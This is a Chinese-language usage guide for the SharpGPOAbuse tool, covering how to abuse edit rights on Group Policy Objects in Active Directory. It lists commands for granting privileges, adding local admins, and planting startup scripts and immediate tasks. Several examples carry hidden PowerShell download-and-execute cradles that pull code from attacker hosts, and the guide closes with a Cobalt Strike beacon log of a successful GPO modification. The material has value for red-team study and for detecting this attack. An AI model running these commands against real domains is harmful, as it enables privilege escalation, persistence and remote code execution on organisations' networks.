怎么通过用户的编辑权限控制组策略对象控制对象

git clone https://github.com/FSecureLABS/SharpGPOAbuse.git

Usage:

        SharpGPOAbuse.exe <攻击类型> <攻击选项>

Options required to add new user rights:

--UserRights

        给用户添加新的权限，该参数大小写敏感，可以使用逗号分隔的列表。

--UserAccount

        设置需要添加新权限的用户账号。

--GPOName

        存在安全漏洞的GPO名称。

        

样例:

        SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount bob.smith --GPOName "Vulnerable GPO"

Options required to add a new local admin:

--UserAccount

        设置需要添加进本地管理员组中的账号名称。

--GPOName

        存在安全漏洞的GPO名称。

 

样例:

        SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO"

Options required to add a new user or computer startup script:

--ScriptName

        设置新启动脚本的名称。

--ScriptContents

        设置新启动脚本的内容。

--GPOName

        存在安全漏洞的GPO名称。

 

样例:

        SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==<targetusername> powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

Options required to add a new computer or user immediate task:

 

--TaskName

        设置新计算机任务的名称。Set the name of the new computer task.

--Author

        设置新任务的开发者（可以使用DA账号）。

--Command

        需要执行的命令

--Arguments

        传递给命令的参数。

--GPOName

        存在安全漏洞的GPO名称。

 

Additional User Task Options:

--FilterEnabled

        启用任务过滤器。Enable Target Filtering for user immediate tasks.

--TargetUsername

        目标用户，恶意任务只会针对特定用户运行，格式为 <DOMAIN>\<USERNAME>。

--TargetUserSID

        目标用户的SID。

 

Additional Computer Task Options:

--FilterEnabled

        启用任务过滤器。

--TargetDnsName

        目标DNS名称，恶意任务只会针对目标主机运行。

        

样例:

        SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO"

SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.10:80/a'))\"" --GPOName "Vulnerable GPO" --FilterEnabled --TargetDnsName target.domain.com

beacon> execute-assembly /root/Desktop/SharpGPOAbuse.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"

[*] Tasked beacon to run .NET program: SharpGPOAbuse_final.exe --AddComputerTask --TaskName "New Task" --Author EUROPA\Administrator --Command "cmd.exe" --Arguments "/c powershell.exe -nop -w hidden -c \"I

EX ((new-object net.webclient).downloadstring('http://10.1.1.141:80/a'))\"" --GPOName "Default Server Policy"

[+] host called home, sent: 171553 bytes

[+] received output:

[+] Domain = europa.com

[+] Domain Controller = EURODC01.europa.com

[+] Distinguished Name = CN=Policies,CN=System,DC=europa,DC=com

[+] GUID of "Default Server Policy" is: {877CB769-3543-40C6-A757-F2DF4E5E28BD}

[+] Creating file \\europa.com\SysVol\europa.com\Policies\{877CB769-3543-40C6-A757-F2DF4E5E28BD}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml

[+] versionNumber attribute changed successfully

[+] The version number in GPT.ini was increased successfully.

[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.

[+] Done!